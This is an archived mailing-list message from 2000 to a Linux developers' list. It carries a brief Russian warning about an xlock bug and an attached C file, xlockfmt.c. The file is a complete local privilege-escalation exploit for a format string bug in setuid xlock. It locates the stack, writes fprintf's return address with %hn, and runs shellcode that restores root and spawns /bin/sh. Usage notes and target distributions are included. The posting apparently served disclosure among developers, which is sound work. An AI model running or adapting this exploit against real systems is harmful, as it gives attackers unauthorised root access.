From mboxrd@z Thu Jan 1 00:00:00 1970 From: Peter Novodvorsky To: devel@linux.iplabs.ru Message-ID: <20001023225318.A31422@logic.ru> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="GID0FwUMdk1T2AWN" Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: IPLabs Linux Team X-fingerprint: 538C 881F 96C0 BC17 6745 4803 40EA 4049 C894 1ACC Subject: [devel] linux xlock exploit Sender: devel-admin@linux.iplabs.ru Errors-To: devel-admin@linux.iplabs.ru X-BeenThere: devel@linux.iplabs.ru X-Mailman-Version: 2.0beta6 Precedence: bulk Reply-To: devel@linux.iplabs.ru List-Help: List-Post: List-Subscribe: , List-Id: IPLabs Linux Team Developers mailing list List-Unsubscribe: , List-Archive: http://www.logic.ru/pipermail/devel/ X-Original-Date: Mon, 23 Oct 2000 22:53:18 +0400 Date: Mon, 23 Oct 2000 22:53:18 +0400 Archived-At: List-Archive: List-Post: --GID0FwUMdk1T2AWN Content-Type: multipart/mixed; boundary="xHFwDpU9dbj6ez1V" Content-Disposition: inline --xHFwDpU9dbj6ez1V Content-Type: text/plain; charset=koi8-r Content-Disposition: inline Content-Transfer-Encoding: quoted-printable =F0=D2=C9=D7=C5=D4! =E2=C1=C7=C1 =D7 xlock. =EF=D0=C1=D3=CE=CF. -- Peter Novodvorsky, IPLabs Linux Team member: petya@logic.ru Debian developer: nidd@debian.org --xHFwDpU9dbj6ez1V Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="xlockfmt.c" Content-Transfer-Encoding: quoted-printable /* Exploit for xlock -d format string bug on i386 Linux.=20 By Ben Williams 21 Oct 2000. Works on Slackware 7.1, Redhat 6.2 - did not have setuid though, Mandrake = 7.0. Redhat 6.1 won't work because fprintf segfaults on large precisions. gcc xlockfmt.c -o xlockfmt usage: xlockfmt [offset] Default offset is 48. Program calcuates all variables such as target return address, shellcode ad= dress and the format string itself. The only thing not calculated is an offset th= at is dependant on the version of xlock or how xlock was compiled. The target address is fprintf()'s saved return address. This equals the val= ue of openDisplay()'s saved base pointer less offset bytes. Shellcode is appended= to the format string. Stack picture: see resource.c, xlock.c=20 fprintf(stderr, buf) A-48| ret | return address located at A - 48 byt= es. | stderr | | buf | error(buf) | bp A | first value printed by format string= is A. | ret | | buf | openDisplay(displayp) | buf | | ? | | ? | | ? | | ? | | ? | A| bp | base pointer located at address A. */=20 #include #include #include #include #include #include #include /*=20 * distance from fprintf's ret to openDisplay's base pointer=20 * redhat6.2, slackware7.1 =3D 48 * mandrake7.0 =3D 60 */ #define OFFSET 48 #define XLOCK_PATH "/usr/X11R6/bin/xlock" #define DEBUG 0 #define FMTSIZE 4096 #define CMDSIZE FMTSIZE + 100 /* number of words to print off the stack for analysis */ #define BIGBREAKFAST 400 /* xlock drops privs right away so we have to restore them again. setresuid(0, 0, 0) then execve a shell */ char shellcode[] =3D "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80"=20 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char *mkfmt(int prebuf, int breakfast, unsigned long int location, unsigned long int value); int main(int argc, char **argv){ FILE *fp; char output[65536]; char fmtstr[FMTSIZE]; char command[CMDSIZE]; int i; char *p; int prebuf; int breakfast; unsigned long int location; unsigned long int value; int shellcode_size =3D sizeof shellcode; int offset =3D OFFSET; struct stat f; i =3D stat(XLOCK_PATH, &f); if (i) error(1, errno, "whereis xlock?"); if (!(f.st_mode & S_IXOTH)) error(1, 0, "executable?"); if (!(f.st_mode & S_ISUID)) error(1, 0, "not setuid"); if (argc > 1) { offset =3D atoi(argv[1]); } /* * Setup a format string to analyse the stack. */ =20 memset(output, 0, 65536); memset(fmtstr, 0x20, FMTSIZE); for (i =3D 0, p =3D fmtstr; i < BIGBREAKFAST; i++) { =20 memcpy(p, "%.8x ", 5); p +=3D 5; } /*=20 * blank out 10 bytes - the first two %.8x's. * this makes space for the prebuf bytes and token. */ memset(fmtstr, 0x20, 10); =20 fmtstr[FMTSIZE - 1] =3D 0x00; =20 /* * Find the number of prebuf bytes (0x03's)to word align. =20 * 0 to 3 bytes may be needed to shove the token * 01010101 of the fmt str onto a word boundary. */ i =3D 0; do { prebuf =3D i; memset(fmtstr, 0x03, i); =20 memset(fmtstr + i, 0x01, 4); sprintf(command, "%s -d '%s' 2>&1", XLOCK_PATH, fmtstr); fp =3D popen(command, "r"); memset(output, 0, 65536); fread(output, 1024, 64, fp); fclose(fp); #if DEBUG printf("=3D=3D=3D=3D=3D=3D=3D=3D trying prebuf %d =3D=3D=3D=3D=3D= =3D=3D\n%s", i, output); #endif i++; } while (!strstr(output, "01010101") && i < 4); /* prebuf bytes always = less than 4 */ if (prebuf =3D=3D 4){ error(1, 0, "could not find fmt str on the stack"); } memset(output, 0x20, 40); /* clear the 'xlock: unable to open display= ' */ p =3D strtok(output, "\x20"); /* get A */ /* * Store error()'s base ptr value in var location. * Then find fprintf()'s ret by subracting offset. */ location =3D strtoul(p, NULL, 16); location -=3D offset; value =3D location /* fprintf's ret */ + 12 /* 3 words to error's bp */ + breakfast * 4 /* breakfast words to fmt str */=20 + FMTSIZE /* to end of fmt str */ - shellcode_size /* to start of shellcode */ - 100; /* position in the NOPS for safe measur= e */ /* * Walk down the output string looking for 01010101, * counting how whole many words eaten to get there. */ for (breakfast =3D 1; ; breakfast++) { p =3D strtok(NULL, "\x20"); if (!p) error(1, 0, "reached end of output string and no 01010101"); #if DEBUG printf("eat %d to reach %s\n", breakfast, p); #endif if (!strcmp(p, "01010101")) break; } /* * make the exploit fmt str. */ p =3D mkfmt(prebuf, breakfast, location, value); memset(fmtstr, 0x90, FMTSIZE); memcpy(fmtstr, p, strlen(p)); free(p); p =3D (char *) &fmtstr[FMTSIZE - shellcode_size]; strcpy(p, shellcode); sprintf(command, "%s -d '%s'", XLOCK_PATH, fmtstr); #if DEBUG puts("=3D=3D=3D=3D=3D=3D command line =3D=3D=3D=3D=3D=3D"); printf("%s\n", command); puts("=3D=3D=3D=3D=3D=3D end command =3D=3D=3D=3D=3D=3D"); #endif puts("=3D=3D=3D=3D=3D=3D system() =3D=3D=3D=3D=3D=3D"); i =3D system(command); puts("=3D=3D=3D=3D=3D=3D end system =3D=3D=3D=3D=3D=3D"); printf("\nsystem() returned %d\n", i); printf("prebuf was %d bytes\n", prebuf); printf("breakfast was %d words\n", breakfast); printf("location was %.8lx\n", location); printf("value was %.8lx\n", value); puts("exiting."); return 0; } /* * Function to generate a nasty format string. * MODIFIED FOR XLOCK EXPLOIT ONLY.=20 * breakfast - number of words to eat before reaching 01010101. * location - memory address to write to. * value - value to write. * * Resulting string looks something like this: * * "\x03\x03\x03" 0 to 3 bytes used to align next value on a = word boundary. * "\x01\x01\x01\x01" this must be aligned on a word boundary. * "\xfc\xfa\xff\xbf" first write address. * "\x01\x01\x01\x01" * "\xfe\xfa\xff\xbf" second write address. * "%.8x%.8x%.8x" this example breakfast =3D 3. * "%.45780lx" this must write the first 01010101=20 * "%hn" * "%.3371lx" writes the second 01010101 * "%hn" * =20 */ char *mkfmt(int prebuf, int breakfast, unsigned long int location, unsigned long int value) { char *buf; unsigned long int dest_addr[2]; unsigned int precision[2]; unsigned int small; /* small half of value */ unsigned int big; /* big half of value */ char *p; int i; =20 buf =3D (char *) malloc(200);=20 if (!buf) { error(1, errno, "failed to malloc"); } =20 big =3D value & 0x0000ffff; /* grab the 2 low order bytes */ small =3D (value & 0xffff0000) >> 16; /* and the 2 high order */ if (big < small) { big ^=3D small; small ^=3D big; big ^=3D small; dest_addr[0] =3D location; dest_addr[1] =3D location +2; } else { dest_addr[0] =3D location +2; dest_addr[1] =3D location; } p =3D buf; memset(p, 0x03, prebuf); p +=3D prebuf; memcpy(p, "\x01\x01\x01\x01", 4); p +=3D 4; memcpy(p, (char *)&dest_addr[0], 4); p +=3D 4;=20 memcpy(p, "\x01\x01\x01\x01", 4); p +=3D 4; memcpy(p, (char *)&dest_addr[1], 4); p +=3D 4; for (i=3D0; i < breakfast; i++){ memcpy(p, "%.8x", 4); p +=3D 4; } /* the 30 chars are the 'xlock: unable to open...' */ precision[0] =3D small - (8 * breakfast + 16 + prebuf + 30); precision[1] =3D big - small; =20 #if DEBUG strcat(buf, "\nFirst print %.8x\n"); strcat(buf, "First write %.8x\n"); strcat(buf, "Second print %.8x\n"); strcat(buf, "Second write %.8x\n"); #else sprintf(p, "%%.%dx%%hn%%.%dx%%hn", precision[0], precision[1]); #endif return buf; } --xHFwDpU9dbj6ez1V-- --GID0FwUMdk1T2AWN Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE59IkeQOpASciUGswRAnioAKC3+fH83YSSuVew87r/U/6uoIArYgCgtbNI 9ZFsORkIUWfOcWC2w20jfp0= =ito/ -----END PGP SIGNATURE----- --GID0FwUMdk1T2AWN-- _______________________________________________ Devel mailing list Devel@linux.iplabs.ru http://www.logic.ru/mailman/listinfo/devel